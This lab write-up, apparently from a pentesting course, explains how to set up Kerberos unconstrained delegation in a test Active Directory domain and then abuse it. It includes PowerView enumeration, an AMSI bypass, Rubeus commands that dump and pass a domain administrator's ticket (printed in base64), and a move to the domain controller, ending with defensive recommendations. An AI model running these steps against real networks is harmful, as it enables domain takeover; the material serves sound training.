Unconstrained Delegation

Configuring

Prerequisite

This section requires the SPN set during the Constrained Delegation setup on FILE01.

pageConstrained Delegation

Configuring

  1. Login on DC02 with the username Administrator and password Welcome01!.

  2. Open the "Active Directory Users and Computers" administration tool.

3. Open the "Computers" directory and right click the FILE01 server and select "Properties".

4. Open the "Delegation" tab and select "Trust this computer for delegation to any service (Kerberos only)".

5. Click on "Apply" and "OK".

Attacking

How it works

If a system has unconstrained delegation configured it saves kerberos tickets of users in the LSASS so it can be used to authenticate to other services. An attacker could extract these saved tickets and use them against any other service.

Example: We have a webserver and webapplication that authenticates to a database too change some entries on behalf of the user. To do this kerberos unconstrained delegation is configured on the webserver.

Tools

Executing the attack

The attack will start from the perspective of already owning the FILE01 server from the constrained delegation abuse.

pageConstrained Delegation
  1. Login to WS01 as Richard with the password Sample123.

  2. Start PowerShell and download and execute an amsi and PowerView in memory:

3. Execute the following PowerView Query to retrieve all domain computers which have unconstrained delegation and only print the samaccountnames:

 Get-DomainComputer -UnConstrained | select samaccountname

4. There are two systems with unconstrained delegation. One which is the domain controller, which always had unconstrained delegation. The other is FILE01. Since we got access to this system we can check if there are any tickets onto the system with Rubeus.

To simulate that unconstrained delegation is configured with a purpose we need to login to the FILE01 server as the administrator user. This will make sure that there are TGT tickets on the system available.

5. There is a TGT ticket from the domain administrator, we can dump this using the following Rubeus command.

./Rubeus.exe dump /luid:0x85e21db /service:krbtgt nowrap

6. Then on WS01 we can import this ticket with the following Rubeus command:

.\Rubeus.exe ptt /ticket:doIGJjCCBiKgAwIBBaEDAgEWooIFDDCCBQhhggUEMIIFAKADAgEFoRYbFEFNU1RFUkRBTS5CQU5LLkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRBTVNURVJEQU0uQkFOSy5MT0NBTKOCBLQwggSwoAMCARKhAwIBAqKCBKIEggSeLvYfqx+JLe3OpL+cLMBjcj0PsyRXSFqcB7nrBmlzK+vT8JWlhbwTUbc/gDr+cFJlEdYgCJt3pOISNYTPvohuPlTSiped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myN5NLsdCKjmqPRm+0aZOFrRNKVo4KQxxdOJS4ylw5k2D0a7+sAkEwdsrsuqf4AjeTDxEKWhnNgi9edgxkewhPWFV5vqpVVz7g+q5q0Q0c3WUnvAivOo6xqXFz7VmRDxE9x+g5dTIzqGMFcHJlSdv0PwNmPWdh+PX6oSTFFfaxthKIpbusM9iSP4p2QGC5V/wp/BRFBi9IzIYg0mZU9am/I2v7q+Kl8fBkERoMecrP1ugmuZn7siM4uk8N5oo3ZY1nUOLfmlaybXslucLJNBLTa+Ch8WEs0UoIu/CSMDy/2ra9mo5hVgMG3QPvyoJEV/ySwe/C8B2nXowLH5ZU0YbHgkePW9V/WQDGNqZtki8qDSrB/gD3C3EaocbYaiWYNykCgng34oBXasVao4IBBDCCAQCgAwIBAKKB+ASB9X2B8jCB76CB7DCB6TCB5qArMCmgAwIBEqEiBCAZA/hOxKS596BIdhiOmKwgjmnkmkTuPvjuV1mJ7r9azaEWGxRBTVNURVJEQU0uQkFOSy5MT0NBTKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEDhAAClERgPMjAyMjA2MjkxNjMxMzBaphEYDzIwMjIwNjMwMDIzMTMwWqcRGA8yMDIyMDcwNjE2MzEzMFqoFhsUQU1TVEVSREFNLkJBTksuTE9DQUypKTAnoAMCAQKhIDAeGwZrcmJ0Z3QbFEFNU1RFUkRBTS5CQU5LLkxPQ0FM

7. After importing the ticket we can simply create a pssession to the DC or execute a DC sync attack.

Enter-PSSeession dc02.amsterdam.bank.local

Defending

Recommendations

  • Tightly secure and monitor the user of AD objects with delegation set.

    • Set strong passwords and rotate them periodically.

    • Limit logons to systems.

    • Harden the systems these accounts are used.

  • Add the flag "this account is sensitive and cannot be delegated"

  • Add all high privileged accounts to the protected users group.

pageProtected users group

Detection

References

Last updated